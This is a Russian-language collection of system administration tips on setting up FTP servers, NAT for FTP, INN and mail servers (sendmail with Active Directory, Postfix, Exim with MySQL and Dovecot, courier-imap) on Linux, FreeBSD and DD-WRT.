       # wget http://www.3iii.dk/linux/optware/optware-install-ddwrt.sh -O /tmp/optware-install.sh
    # sh /tmp/optware-install.sh
    
    Теперь можно запускать установку transmission, установив прежде переменную PATH:
    
       # export PATH=/opt/bin:/opt/sbin:$PATH
       # ipkg-opt install transmission
    
    Домашней директорией для transmission будет /jffs/torrents, поэтому запускаем
    демон, указав необходимые параметры
    
       /opt/bin/transmission-daemon -g /jffs/torrents/.config/transmission-daemon -a "192.168.1.33"
       killall transmission-daemon
    
    Запустив однажды transmission, создаётся дерево служебных подкаталогов, 
    скаченные файлы складываются в корень созданной структуры (/jffs/torrents), 
    конфигурационный файл - /jffs/torrents/.config/transmission-daemon/settings.json:
    
       /jffs/torrents/.config/
       /jffs/torrents/.config/transmission-daemon
       /jffs/torrents/.config/transmission-daemon/settings.json
       /jffs/torrents/.config/transmission-daemon/stats.json
       /jffs/torrents/.config/transmission-daemon/blocklists
       /jffs/torrents/.config/transmission-daemon/resume        
       /jffs/torrents/.config/transmission-daemon/torrents
    
    Остаётся открыть порт 9091 для доступа к web-интерфейсу
    
       /usr/sbin/iptables -I INPUT 1 -p tcp --dport 9091 -j logaccept
    
    и добавить запуск transmission в startup-скрипт
    
       mount -o bind /jffs/opt /opt
       export PATH=/opt/bin:/opt/sbin:$PATH
       /opt/bin/transmission-daemon -g /jffs/torrents/.config/transmission-daemon
    
    Web-интерйейс доступен с компьютера 192.168.1.33 по адресу http://host:9091/transmission/web/.
    
     
    ----* Настройка pure-ftpd в Debian GNU/Linux, с хранением учетных записей в PureDB (доп. ссылка 1)   Автор: Heckfy  [комментарии]
     
    Цель - отделить пользователей из /etc/passwd от пользователей ftp, 
    но не устанавливая различных внешних средств для хранения базы пользователей. 
    Из целого ряда ftp-серверов я остановился на pure-ftpd.
    
    Вариант запуска был найден быстро, но при этом сервер должен был запускаться средствами (x)inetd:
    
       $ grep pure /etc/inetd.conf
       ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/pure-ftpd-virtualchroot -4 -A -E -d -lpuredb:/etc/pure-ftpd/pureftpd.pdb
    
    Сделал так на другом сервере и понял, что у меня там нет inetd. 
    Устанавливать не стал. Решил сделать сервис standalone.
    
       # dpkg-reconfigure pure-ftpd-common
    
    Конечно, однострочные конфиги, раскиданные по разным файлам, 
    могут вызвать отторжение у сторонников другого подхода, но сейчас не об этом.
    
       # /etc/init.d/pure-ftpd restart
       Restarting ftp server: Running: /usr/sbin/pure-ftpd-virtualchroot -l pam -d -4 -u 1000 -A -E -O clf:/var/log/pure-ftpd/transfer.log -B
    
    Выключаю pam и включаю puredb
       # rm /etc/pure-ftpd/conf/PAMAuthentication /etc/pure-ftpd/auth/70pam
       # ln -s ../conf/PureDB /etc/pure-ftpd/auth/45puredb
    
    Работа с учетными записями производится посредством pure-pw.
    
    В заключение, пример рабочей конфирурации:
    
       $ grep -r . /etc/pure-ftpd/*/
       /etc/pure-ftpd/auth/45puredb:/etc/pure-ftpd/pureftpd.pdb
       /etc/pure-ftpd/auth/65unix:no
       /etc/pure-ftpd/conf/UnixAuthentication:no
       /etc/pure-ftpd/conf/VerboseLog:Yes
       /etc/pure-ftpd/conf/IPV4Only:Yes
       /etc/pure-ftpd/conf/MinUID:10000
       /etc/pure-ftpd/conf/ChrootEveryone:Yes
       /e tc/pure-ftpd/conf/NoAnonymous:yes
       /etc/pure-ftpd/conf/PureDB:/etc/pure-ftpd/pureftpd.pdb
       /etc/pure-ftpd/conf/AltLog:clf:/var/log/pure-ftpd/transfer.log
       
    
     
    ----* Как быстро расшарить директории через ftp в Linux   Автор: borey  [комментарии]
     
    На моей станции поднят ftp сервер (vsftpd). Как известно FTP cервер позволяет расшарить 
    определённую директорию (в нашем случае /var/ftp/)/ Часто у меня возникали ситуации 
    когда нужно что то расшарить по сети, а копировать это в раздел где расшаренная 
    директория - места нет. Да и копировать это опять же или менять кофиг сервера и
    перерапускать сервис.
    Для себя нашёл очень простой и удобный способ как это сделать. 
    
    Монтировать нужные директории в дерево /var/ftp используя 'mount --bind '. всё просто.
    
       [root@n100851 ~]# mkdir /var/ftp/pub/music
       [root@n100851 ~]# mount --bind /home/user/media/sound/ /var/ftp/pub/music/
    
    и всё. анонимусы могут забирать музыку с FTP сервера.
    
     
    ----* Как гибко манипулировать настройками vsftp для разных сетей   Автор: dimus  [комментарии]
     
    Допустим у нас есть сеть 192.168.0.0/24, с которой надо что-то разрешить, а для
    остальных - запретить.
    Редактируем файл /etc/hosts.allow
    
       vsftpd: 192.168.0.0/255.255.255.0, 127.0.0.1: setenv VSFTPD_LOAD_CONF / etc/vsftpd-int.conf : nice 15
       vsftpd: ALL : nice 15
    
    В результате при коннекте из нашей сети будет выполняться конфиг /etc/vsftpd-int.conf, 
    а при коннекте из остальных сетей - /etc/vsftpd.conf 
    Ну а прописать в разных конфигах разные фичи я думаю проблем не составит. 
    
    У меня так регулируется скорость:
    
    cat /etc/vsftpd-int.conf
       ...тут пропущен здоровый кусок конфига
       # Этот конфиг для внутренних нужд - скорость по максимуму
       anon_max_rate=0
       local_max_rate=0
    
    cat /etc/vsftpd.conf
        ...тут пропущен здоровый кусок конфига
        anon_max_rate=32000
        local_max_rate=64000
    
     
    ----* Пример настройки vsftpd (доп. ссылка 1)   [комментарии]
     
    /etc/vsftpd.conf:
    
    # Запускаем как демон, а не из inetd.
    listen=YES
    background=YES
    listen_address=192.168.1.1
    
    # Включаем возможность использования tcpwrapper, лимиты через /etc/hosts.allow
    tcp_wrappers=YES
    
    # Пускаем только пользователей имеющих валидный shell, присутствующий в /etc/shells
    check_shell=YES
    
    # Вместо реальных владельцев файлов всегда показываем ftp:ftp
    hide_ids=YES
    
    # Общее максиамльно допустимое число коннектов.
    max_clients=100
    
    # Разрешенное число коннектов с одного IP.
    max_per_ip=5
    
    # Таймаут при ожидании команды
    idle_session_timeout=300
    
    # Таймаут при передаче данных
    data_connection_timeout=60
    
    # Непривилегированный пользователь, для того чтобы делать под ним, что можно выполнить без root.
    nopriv_user=ftp
    
    # Запрещаем рекурсивный вызов "ls -R"
    ls_recurse_enable=NO
    
    # Ограничение скорости прокачки для анонимных и локальных пользователей (байт в сек.)
    anon_max_rate=50000
    local_max_rate=100000
    
    # Включаем ведение лога операций.
    xferlog_enable=YES
    vsftpd_log_file=/var/log/vsftpd.log
    
    # Расширенные логи всех команд
    log_ftp_protocol=YES
    
    
    # ------------ Настрйоки для анонимного сервера
    
    # Если сервер публичный, пускающий анонимных пользователей
    anonymous_enable=YES
    anon_umask=077
    
    # Корень анонимного ftp архива
    anon_root=/usr/local/ftp
    
    # Запрещаем анонимным пользователям запись данных, если нужно разрешить
    # запись для локальных пользовтелей (write_enable=YES)
    anon_upload_enable=NO
    
    # Запрещаем создавать директории.
    anon_mkdir_write_enable=NO
    
    # Запрещаем переименовывать и удалять
    anon_other_write_enable=NO
    
    # Если нужно запретить доступ к определенным типам файлов по маске
    # deny_file={*.mp3,*.mov, *.avi, .filelist}
    
    # Если нужно скрыть определенные типы файлов при выводе списка, 
    # но дать скачать тем кто знает точное имя.
    # hide_file={*.mp3,*.mov, *.avi}
    
    # Если анонимную закачку необходимо разрешить, нужно дополнительно 
    # использовать chown_uploads=YES и chown_username=ftp_anon_user
    
    # Если нужно пускать анонимных пользователей только при правильном введении 
    # email (аналог паролей для ограничения доступа к публичному ftp), заданного в 
    # файле определенном директивой email_password_file, нужно установить 
    # secure_email_list_enable=YES
    
    
    # ------------ Настрйоки для входа локальных пользователей
    
    # Если сервер разрешает вход локальных пользователей, присутствующих в системе
    local_enable=YES
    
    # "-rw-r--r--"
    local_umask=022
    
    # Разрешаем показ файлов начинающихся с точки (например, .htaccess) для кривых ftp-клиентов
    force_dot_files=YES
    
    # Разрешаем пользователям записывать/изменять свою информацию на сервер.
    # если нужно запретить запись данных - write_enable=NO
    # Более тонкий тюнинг через "cmds_allowed=PASV,RETR,QUIT"
    write_enable=YES
    
    # Для всех пользователей делаем chroot, делаем корнем их домашнюю директорию,
    # Список логинов для которых не нужно делать chroot задаем в vsftpd.chroot_list
    chroot_local_user=YES
    chroot_list_enable=YES
    chroot_list_file=/etc/vsftpd.chroot_list
    
    # Активируем список пользователей которым запрещен вход по FTP (например, root)
    userlist_enable=YES
    userlist_file=/etc/ftpusers
    
     
    ----* Особенности использование ftp из-за фаервола ipfw/natd   Автор: globus  [комментарии]
     
    Необходимо выпустить пользователей на ftp сайты из локальной сети, но при этом не устанавливая 
    дополнительного ПО, используя только возможности FreeBSD 4.10.
    Этими возможностями, как ни странно, оказались ipfw и natd 
    вот собственно как все это прописывается.
    
    Исходные данные, FreeBSD 4.10 + настроенный nat правила для ipfw 
       ipfw -q add 100 divert natd from 192.168.20.0/24 to any 20, 21 out via $oif 
       ipfw -q add 200 divert natd from any 20, 21 to $iip in via $oif 
       ipfw -q add 300 allow tcp from any to any established 
       ipfw -q add 400 allow tcp from any to any setup 
    где $oif и $iip соответственно внешний интерфейс и внешний IP 
    
    теперь запускаем natd 
       /sbin/natd -m -s -u -punch_fw 500:200 -n xl1
    
    заострю внимание на параметре "-punch_fw" -этот параметр создает в фаерволе "ходы", 
    добавляя динамические правила. В моем случае эти правила начнутся с номера 500
    и будет их добавлено
    максимум 200 (понятно чем больше сеть, те больше нужно правил).
    
    Особое спасибо A Clockwork Orange.
    
     
    ----* Как настроить NAT (транслятор адресов) для нормальной работы с FTP и ICQ в Linux   [комментарии]
     
    iptables:
       modprobe iptable_nat
       modprobe ip_conntrack_ftp
       modprobe ip_nat_ftp                     
       modprobe ip_nat_irc
    ipchains:
       modprobe ip_masq_ftp
       modprobe ip_masq_raudio
       modprobe ip_masq_irc
       modprobe ip_masq_icq
    
     
    ----* Как обеспечить работу active FTP режима в FreeBSD NAT   [обсудить]
     
    В ipnat воспользуйтесь модулем ftp proxy:
      map fxp0 0/0 -> 0/32 proxy port ftp ftp/tcp
      map rl0 172.16.33.0/24 -> 212.46.231.50/32 proxy port ftp ftp/tcp
    не забудьте поместить правило трансляции ftp перед общим правилом трансляции, 
    порядок следования правил важен.
    
     

       INN

    ----* Как после краха INN перестроить group.index и содержимое overview   [обсудить]
     
      makehistory -O -x -F
    
     
    ----* Почему INN не запускается и ругается на отсутствие файла history   Автор: Andrey Slusar  [обсудить]
     
      makehistory -b -f history -O -l 30000 -I
      makedbz -f history -i -o -s 30000
    
     

       Mail, почта
    Безопасность и установка ограничений
    Борьба со спамом, фильтрация почты
    Отправка и пересылка сообщений на уровне пользователя

    ----* Использование Sendmail в качестве буфера MS Exchange в MS Active Directory   Автор: Дмитрий Казаров  [комментарии]
     
    Описание задачи
    Имеется:
    
  • Компания с несколькими офисами по всему миру
  • Много доменная структура на базе Microsoft Active Directory
  • Внутренняя почта на серверах MS Exchange Server 2007, которые, по разным соображениям, не желательно выставлять в интернет.
  • Шлюзы в интернет на базе FreeBSD 8+ Нужно настроить Sendmail на пересылку почты из интернета в Exchange и обратно, с учётом требований
  • адекватной защитой от спама и вирусов
  • максимальной интеграцией в АД
  • обслуживание множества почтовых доменов и доменов АДа.
  • SMTP AUTH по учётным записям домена для любителей путешествовать. Решение Для начала интегрируем шлюз в АД. Это понадобится и для SMTP AUTH и для авторизации в Squid-е и ещё много для чего. 1. Подготовка системы. 1.1. Устанавливаем samba. cd /usr/ports/net/samba35/ make install clean При настройке пакета нам понадобиться только параметры ADS (With Active Directory support) и WINBIND (With WinBIND support). Остальные параметры - по желанию и умению. Первым делом создаём файл /etc/krb5.conf [logging] default = SYSLOG [libdefaults] default_realm = MSK.LAN clockskew = 300 default_tgs_enctypes = RC4-HMAC DES-CBC-CRC DES-CBC-MD5 default_tkt_enctypes = RC4-HMAC DES-CBC-CRC DES-CBC-MD5 preferred_enctypes = RC4-HMAC DES-CBC-CRC DES-CBC-MD5 ticket_lifetime = 21600 [realms] MSK.LAN = { kdc = Ad-Srv0.msk.lan:88 admin_server = Ad-Srv0.msk.lan:464 default_domain = msk.lan } GER.LAN = { kdc = Ad-Srv0.ger.lan:88 } TWN.LAN = { kdc = Ad-Srv0.twn.lan:88 } [domain_realm] .msk.lan = MSK.LAN .ger.lan = GER.LAN .twn.lan = TWN.LAN Настраиваем Samba. В данном случае нужен только сервис разрешения имён - остальное отключено за не надобностью. [global] server string = FreeBSD GateWay security = ADS kerberos method = system keytab hosts allow = 192.168.88. 127. load printers = no encrypt passwords = yes winbind separator = + winbind use default domain = yes winbind uid = 10000-15000 winbind gid = 10000-15000 winbind enum users = yes winbind enum groups = yes log file = /var/log/samba/log.%m max log size = 50 password server = Ad-Srv0.msk.lan workgroup = MSKLAN realm = MSK.LAN interfaces = 192.168.88.0/24 socket address = 192.168.88.254 dns proxy = no Следующий шаг - синхронизация времени между доменными серверами и шлюзом. Так как на шлюзе точное глобальное время - синхронизирую по нему контроллеры домена. И наконец интеграция в домен: net ads join -U Administrator@MSK.LAN и создание файла /etc/krb5.keytab net ads keytab create и добавляем строку в /etc/crontab 0 * * * * root /usr/local/bin/net ads kerberos kinit -P она позволит программам, умеющим использовать sasl2, работать в АДе без ввода пароля, используя учётную запись сервера, что позволяет не хранить пароли в скриптах. Добавляем в /etc/rc.conf: winbindd_enable=YES И запускаем его /usr/local/etc/rc.d/samba 1.2. Установка cyrus sasl2: cd /usr/ports/security/cyrus-sasl2 make install clean При настройке порта необходимы только параметры AUTHDAEMOND (Enable use of authdaemon), LOGIN (Enable LOGIN authentication), PLAIN (Enable PLAIN authentication) - остальные на своё усмотрение. Сборка, установка - как обычно, дополнительных настроек ни каких делать не обязательно. 1.3 Установка saslauthd пакета cyrus sasl2 cd /usr/ports/security/cyrus-sasl2-saslauthd make install clean Параметры пакета в данном случае ни на что не влияют. Создаём файл /usr/local/etc/pam.d/smtp со следующим содержимым: auth sufficient pam_krb5.so no_user_check validate account sufficient pam_permit.so добавляем пару строк в /etc/rc.conf saslauthd_enable=YES saslauthd_flags='-a pam -c -t 3600' и запускаем сервис /usr/local/etc/rc.d/saslauthd start И проверяем, что это всё работает: # testsaslauthd -s smtp -u user -p 'password' 0: OK "Success." Если ответ другой - разобраться поможет режим отладки saslauthd -a pam -n 0 -d . 1.4. Установка клиента openldap. cd /usr/ports/net/openldap24-client make install clean Необходим параметр SASL (With (Cyrus) SASL2 support). После установки добавляем пару строк в /usr/local/etc/openldap/ldap.conf BASE dc=MSK,dc=lan URI ldap://msk.lan Проверяем, что ldapsearch работает как надо: ldapsearch -z 1 '(objectclass=user)' Должно получиться что-то типа: SASL/GSSAPI authentication started SASL username: SRV-GW$@MSK.LAN SASL SSF: 56 SASL data security layer installed. # extended LDIF # # LDAPv3 # base <dc=MSK,dc=lan> (default) with scope subtree # filter: (objectclass=user) # requesting: ALL # # SRV05, Servers, Central Office, Offices, msk.lan dn: CN=SRV05,OU=Servers,OU=Central Office,OU=Offices,DC=MSK,DC=lan objectClass: top objectClass: person objectClass: organizationalPerson objectClass: user objectClass: computer cn: SRV05 userCertificate:: MII... 1.5 Установка антивируса. cd /usr/ports/security/clamav make install clean Среди параметров обязательно нужен MILTER (Compile the milter interface). Добавляем в /etc/rc.conf несколько строк clamav_clamd_enable=YES clamav_milter_enable=YES clamav_freshclam_enable=YES и запускаем сервисы: /usr/local/etc/rc.d/clamav-clamd /usr/local/etc/rc.d/clamav-milter /usr/local/etc/rc.d/clamav-freshclam 2. Настройка sendmail-а. 2.1. Собираем sendmail c поддержкой SASL2. Добавляем в файл /etc/make.conf строки SENDMAIL_CFLAGS=-I/usr/local/include -DSASL=2 SENDMAIL_LDFLAGS=-L/usr/local/lib SENDMAIL_LDADD=-lsasl2 и пересобираем sendmail: cd /usr/src/usr.sbin/sendmail make clean obj all install 2.2. Настраиваем маршрутизацию писем и прочие функции sendmail-а. Создаём файл /etc/mail/relay-domains и прописываем в нём все почтовые домены, обслуживаемые данным почтовым сервером domain1.ru domain2.ru domain3.tw В файл /etc/mail/mailertable вносим информацию о серверах Exchange, принимающих почту этих доменов. domain1.ru esmtp:srv-exch.msk.lan domain2.ru esmtp:srv-exch.msk.lan domain3.tw esmtp:srv-exch.twn.lan Создаём SSL-ные ключи для Sendmail-а mkdir -p /etc/mail/SSL cd /etc/mail/SSL openssl req -new -x509 -keyout cakey.pem -out cacert.pem -days 365 openssl req -nodes -new -x509 -keyout sendmail.pem -out sendmail.pem -days 365 Рекомендация: в поле "Common Name" указывайте полное доменное имя этого SMTP сервера, в том виде, как оно прописано в DNSе в полях MX. 2.3 Настраиваем файлы конфигурации sendmail-а cd /etc/mail make Редактируем файл `hostname`.mc, он должен принять примерно следующий вид. VERSIONID(`$FreeBSD: src/etc/sendmail/freebsd.mc,v 1.37.2.3 2011/06/20 01:48:49 gshapiro Exp $') OSTYPE(freebsd6) DOMAIN(generic) define(`confDOMAIN_NAME', `mx.domain.ru')dnl FEATURE(access_db) FEATURE(blacklist_recipients) FEATURE(local_lmtp) FEATURE(mailertable) FEATURE(virtusertable) define(`confDONT_BLAME_SENDMAIL',`GroupReadableSASLDBFile')dnl define(`confCACERT_PATH', `/etc/mail/SSL')dnl define(`confCACERT', `/etc/mail/SSL/cacert.pem')dnl define(`confSERVER_CERT', `/etc/mail/SSL/sendmail.pem')dnl define(`confSERVER_KEY', `/etc/mail/SSL/sendmail.pem')dnl define(`confCLIENT_CERT', `/etc/mail/SSL/sendmail.pem')dnl define(`confCLIENT_KEY', `/etc/mail/SSL/sendmail.pem')dnl TRUST_AUTH_MECH(`PLAIN LOGIN')dnl define(`confAUTH_MECHANISMS', `PLAIN LOGIN')dnl define(`confAUTH_OPTIONS', ``A,p,y'')dnl FEATURE(`require_rdns')dnl FEATURE(`delay_checks')dnl FEATURE(`blacklist_recipients')dnl FEATURE(dnsbl, `blackholes.mail-abuse.org', ``"550 Mail from " $&{client_addr} " rejected, see http://mail-abuse.org/cgi-bin/lookup?" $& {client_addr}'') FEATURE(`enhdnsbl', `bl.spamcop.net', `"Spam blocked see: http://spamcop.net/bl.shtml?"$&{client_addr}', `t')dnl FEATURE(`dnsbl', `zen.spamhaus.org', `"Spam blocked see: http://www.spamhaus.org/query/bl?ip="$&{client_addr}', `t')dnl INPUT_MAIL_FILTER(`clmilter',`S=local:/var/run/clamav/clmilter.sock,F=,T=S:4m;R:4m')dnl define(`confCW_FILE', `-o /etc/mail/local-host-names') dnl Enable for both IPv4 and IPv6 (optional) DAEMON_OPTIONS(`Name=NoMTA, Addr=127.0.0.1, M=EA')dnl DAEMON_OPTIONS(`Name=IPv4, Family=inet') dnl DAEMON_OPTIONS(`Name=IPv6, Family=inet6, Modifiers=O') DAEMON_OPTIONS(`Family=inet, Port=465, Name=MTA-SSL, M=s')dnl CLIENT_OPTIONS(`Family=inet, Address=mx.domain.ru') define(`confBIND_OPTS', `WorkAroundBrokenAAAA') define(`confNO_RCPT_ACTION', `add-to-undisclosed') define(`confPRIVACY_FLAGS', `authwarnings,noexpn,novrfy') MAILER(local) MAILER(smtp) Здесь строка define(`confDOMAIN_NAME', `mx.domain.ru')dnl должна содержать публичное доменное имя этого почтового сервера, которое прописывается в DNS-е в записях МХ. Аналогично со строкой CLIENT_OPTIONS(`Family=inet, Address=mx.domain.ru'). Строки TRUST_AUTH_MECH(`PLAIN LOGIN')dnl define(`confAUTH_MECHANISMS', `PLAIN LOGIN')dnl включают SMPT авторизацию, но так как saslauthd авторизует с помощью PAM в Kerberos-е, можно использовать только пароль в открытом виде. Другие способы, хотя и более безопасные на уровне SMTP требуют наличия открытого пароля на стороне сервера и в нашем случае не доступны. Проблема безопасности паролей решается принуждением почтового клиента использовать шифрование транспорта (TLS или SSL) с помощью следующего параметра: define(`confAUTH_OPTIONS', ``A,p,y'')dnl Остальные параметры хорошо описаны в /usr/share/sendmail/cf/README и прочей документации. Добавляем в /etc/rc.conf строку sendmail_enable=YES и приводим в действие этот файл конфигурации: cd /etc/mail make make install /etc/rc.d/sendmail restart 2.4 Настройка списка адресатов. Осталась одна чрезвычайно важная деталь - эта настройка приводит к тому, что sendmail отправляет Exchange-ам всю почту пришедшую на наши почтовые домены, не проверяя существуют ли адресаты или нет. Разумеется, получив от Exchange-а отказ из-за отсутствия получателя, sendmail пытается уведомить об этом отправителя, но в большинстве слуаев его не существует - спам он и есть спам. Это набивает очередь sendmail-a не доставимыми письмами, забивает ящик postmaster-а письмами о не возможности доставки, но, что гораздо хуже, даёт дополнительную нагрузку на Exchange. Существуют несколько путей решения проблемы: на пример, можно запрашивать в АДе по LDAPу существования получателя. Если у вас только один АДовский домен - задача делается тройкой команд в .mc . Если больше - придётся ручками вставлять команды sendmail-a по аналогии с готовыми. Но в результате - доменный контроллер будет довольно сильно нагружен поисками несуществующих адресатов, каждый из которых подразумевает полный проход по базе. Доменный контроллер - не самый лучший кандидат для такой нагрузки, у него много своих собственных задач. Гораздо логичнее кешировать данные о существуюших адресатах в небольшой базе на самом почтовике. И наиболее подходящей для этой цели является база access. Для наполнения этой базы можно воспользоваться следующим скриптом (у меня он записан в файл /etc/mail/LDAP2AccessDB): #!/bin/sh # This filter selects groups (all) and users that are not disabled. #Filter='(&(proxyaddresses=smtp:*)(|(&(objectClass=User) #(!(userAccountControl:1.2.840.113556.1.4.803:=2))) #(objectClass=Group)))' # All users that has Exchange account. Filter='(&(proxyaddresses=smtp:*)(|(objectClass=User)(objectClass=Group)))' Domains='Msk Twn' Msk_URL='ldap://msk.lan' Msk_BDN='dc=msk,dc=lan' Msk_Pfx='/usr/sbin/jail / tmp 192.168.88.254 ' Msk_Aut='' Twn_URL='ldap://twn.lan' Twn_BDN='dc=twn,dc=lan' Twn_Pfx='/usr/sbin/jail / tmp 192.168.88.254 ' Twn_Aut='' OKeyed_domains='subdom.domain1.ru' Relayed_Nets='192.168 127.0' cd /etc/mail ( for d in ${Relayed_Nets}; do echo -e "Connect:$d\tRELAY"; done for d in ${OKeyed_domains}; do echo -e "To:$d\tOK"; done for dom in $Domains; do eval url="\$${dom}_URL" bdn="\$${dom}_BDN" pfx="\$${dom}_Pfx" auth="\$${dom}_Aut" $pfx /usr/local/bin/ldapsearch $auth -QLLL -H "$url" -b "$bdn" "$Filter" proxyaddresses || kill $$ done | /usr/bin/tr '[:upper:]' '[:lower:]' | sed -n 's/^proxyaddresses: *smtp: *//p' | sort -t@ +1 +0 | sed 's/.*/To:& RELAY/' sed 's/#.*//;s/[ ]*//;/^$/d;s/.*/To:& ERROR:"User _really_ unknown. Honestly!"/' relay-domains ) > access.new || exit 254 /usr/bin/cmp access access.new > /dev/null 2>&1 || { [ -d old.accesses ] || mkdir old.accesses || { echo Can not create dir \"old.accesses\"; exit 1; } mv access old.accesses/access.`date +%Y%m%d-%H%M` mv access.new access make maps } В данном скрипте Domains - список АДных доменов, из которых собирается список адресатов. <Domain_Name>_URL - URI ссылающийся на сервер LDAPа домена АДа, <Domain_Name>_BDN - адрес начала поиска в дереве LDAP, <Domain_Name>_Pfx - команда, выполняющая команду ldapsearch - setfib, jail, chroot и прочее. В моём случае используется jail для обхода некоторый особенностей маршрутизации внутри VPN тунелей, такой метод вызова позволяет заставить ldapsearch использовать внутренний адрес при запросе. <Domain_Name>_Aut - параметр для авторизации, если домен не принимает авторизацию в домене с помощью SASL2, настроенную в п 1.1 OKeyed_domains - список почтовых (под) доменов, которые необходимо пересылать. Если в домене domain1.ru, адресаты которого находятся на сервере Exchange, есть поддомен sub.domain1.ru, обслуживаемый другой почтовой системой, данная схема настройки sendmail-а не позволит пользователям Exchange-а посылать туда письма. Добавление такого домена в OKeyed_domains позволит исключить его из списка блокируемых доменов. Relayed_Nets - список базовых IP адресов сетей или IP адресов компьютеров, почта которых пересылается на произвольные адреса без предварительной авторизации с помощью SMTP AUTH. Добавляем строку в /etc/crontab */15 * * * * root /etc/mail/LDAP2AccessDB > /dev/null Заключение Собственно - всё! Должно работать. Литература
  • Настройка Sendmail + SASL2 + TLS/SSL
  • Samba + AD
  • Active Directory and Cyrus SASL Authentication
  • Sendmail WiKi по-русски
  •  
    ----* Аудит входящей и исходящей почты для определенных ящиков в Postfix   [комментарии]
     
    В main.cf добавляем
    
       recipient_bcc_maps = hash:/etc/postfix/recipient_bcc
       sender_bcc_maps = hash:/etc/postfix/sender_bcc
    
    Далее в файлы recipient_bcc и sender_bcc добавляем информацию с каких и на
    какие адреса нужно копировать почту.
    
    Например:
    
    user1@etest.ru admin@test.ru
    
    После внесения изменений не забываем перестроить хэш:
       postmap recipient_bcc
       postmap  sender_bcc
    
     
    ----* Настройка почтового сервера на базе Exim, MySQL и Dovecot во FreeBSD (доп. ссылка 1)   Автор: Денис Кучерский  [комментарии]
     
    Задача: необходимо установить и настроить почтовый сервер для нескольких почтовых доменов. 
    В качестве МТА я выбрал Exim. Список доменов, пользователей и т.д. будут хранится в MySQL.
    Итак, что мы имеем: ОС FreeBSD, на сервере 8 ip-адресов, MySQL сервер уже установлен. 
    
    Приступаем к установке:
    
    1. Добавляем в  /etc/make.conf опции для сборки exim (так же у меня указана версия MySQL, 
    c которой собираются порты и в которых используется MySQL):
    
          DEFAULT_MYSQL_VER=51
          .if ${.CURDIR:N*/usr/ports/mail/exim} == ""
          WITH_MYSQL=yes
          WITH_SPF=yes
          WITH_SRS=yes
          WITHOUT_IPV6=yes
          WITHOUT_MAILSTORE=yes
          WITHOUT_MBX=yes
          WITHOUT_PASSWD=yes
          WITHOUT_PAM=yes
          WITHOUT_AUTH_SPA=yes
          WITHOUT_NIS=yes
          .endif
    
    2. Устанавливаем exim с поддержкой MySQL из портов:
    
          cd /usr/ports/mail/exim ; make install clean ; echo 'exim_enable="YES"' >> /etc/rc.conf
    
    3. Заменяем sendmail в /etc/mail/mailer.conf на exim:
    
          sendmail        /usr/local/sbin/exim
          send-mail       /usr/local/sbin/exim
          mailq           /usr/local/sbin/exim -bp
          newaliases      /usr/local/sbin/exim -bi
          hoststat        /usr/local/sbin/exim
          purgestat       /usr/local/sbin/exim
    
    4. Создаём директорию, в которую exim будет складывать почту (у меня это /home/mail/domains)
    
          mkdir -p /home/mail/domains ; chown -R mailnull:mail /home/mail
    
    5. Создаём БД для exim:
    
          mysqladmin -u root -p create exim_db
    
    6. Создаём пользователя MySQL и выделяем ему права на БД:
    
          echo "GRANT SELECT, INSERT, UPDATE, LOCK TABLES, CREATE, DROP, DELETE, INDEX ON exim_db.* 
          TO exim@localhost IDENTIFIED BY 'Mta_MaileR'" | mysql -u root -p mysql
    
    7. Создаём структуру таблиц (описание таблиц и полей в конце статьи):
    
          fetch -v http://www.sysadminpages.com/files/exim/exim_db.sql
          mysql -u exim -p exim_db < exim_db.sql
    
    8. Подключаемся к БД и добавляем записи для 1-го почтового домена
    (Для примера взял вымешленые имя домена и ip-адрес. Для рабочего почтового сервера необходимо 
    заменить значения на реальные):
    
          mysql -u exim -p exim_db
          mysql>INSERT INTO domains VALUES('example.local','mail.example.local','10.1.10.1');
          mysql>INSERT INTO accounts (login, password, maildir, uid, gid, mailquota) 
          VALUES ('admin@example.local', 'Pass4Admin', '/home/mail/domains/example.local/admin/Maildir', 26, 26, 2000);
    
    9. Конфигурируем exim. Конфиг длинный, и поэтому его описание я опускаю. 
    Рабочий конфиг можно взять по адресу: http://www.opennet.dev/soft/exim.config
    
    10. Запускаем exim
    
          /usr/local/etc/rc.d/exim start
    
    11. Для проверки работоспособности отправляем тестовое письмо
    
          mail -s 'test message' admin@example.local
          test message
          .
    
    Смотрим лог exim:
    
          tail /var/log/exim/mainlog
    
    Если всё правильно настроено, то в логе будут записи примерно следующего содержания:
    
          2009-07-06 08:26:54 1MNnHZ-000CJx-U5 <= root@srv.example.local U=root P=local S=363
          2009-07-06 08:26:54 1MNnHZ-000CJx-U5 => admin <admin@example.local> R=localuser T=local_delivery
          2009-07-06 08:26:54 1MNnHZ-000CJx-U5 Completed
    
    12. Устанавливаем dovecot
    
          cd /usr/ports/mail/dovecot
          make WITH_SSL=yes WITHOUT_IPV6=yes WITH_MYSQL=yes install clean 
          echo 'dovecot_enable="YES"' >> /etc/rc.conf
    
    13. Конфигурируем dovecot
    
          mv /usr/local/etc/dovecot.conf /usr/local/etc/dovecot.conf.orig
          cd /usr/local/etc/
          fetch -v http://www.opennet.dev/soft/dovecot.conf
          fetch -v http://www.opennet.dev/soft/dovecot-sql.conf
    
    14. Запускаем dovecot
    
          /usr/local/etc/rc.d/dovecot start
    
    15. Настраиваем почтовый клиент на получение-отправку почты. В качестве логина
    используем e-mail адрес.
    
    Описание таблиц БД exim_db:
    
    Таблица accounts - учётные записи пользователей
    Таблица aliases - алиасы для почтовых адресов
    Таблица domains - имена почтовых доменов, адреса МХ-ов и их ip-адресов
    Таблица spam_domains - список "чёрных" доменов
    Таблица spam_emails - список "чёрных" почтовых адресов
    Таблица spam_ip_senders - список "чёрных" ip-адресов
    Таблица white_domains - список "белых" доменов
    Таблица white_emails - список "белых" почтовых адресов
    Таблица white_ip_senders - список "белых" ip-адресов
    
     
    ----* Настройка виртуальных совместных папок в courier-imap (доп. ссылка 1)   Автор: Kontrabass  [комментарии]
     
    Имеем: виртуальные пользователи в mysql базе,
    пользователь virtual uid 1000 gid 1000 - владелец маилбоксов, от его имени раскладываем почту.
    
    Пользователь spam@example.ru с логином spam
    подключаемся им по imap, создаем в inbox новую папку MarkHam
    
    Создаем файл /usr/local/etc/courier-imap/shared/index
    
       name    1000    1000    /mail/    spam/.MarkHam
    
    здесь name - название папки под которым ее увидят пользователи в shared_folders
    1000 1000 uid gid пользователя virtual - владельца /mail/*
    /mail - кусочек пути в расшариваемой папке
    /spam/.MarkHam - еще кусочек пути
    
    Далее необходимо настроить права доступа.
    
    Имеется пользователь admin@example.ru с логином admin
    в файл /mail/spam/.MarkHam/courierimapacl добавим строчку
    
       user=admin lr
    
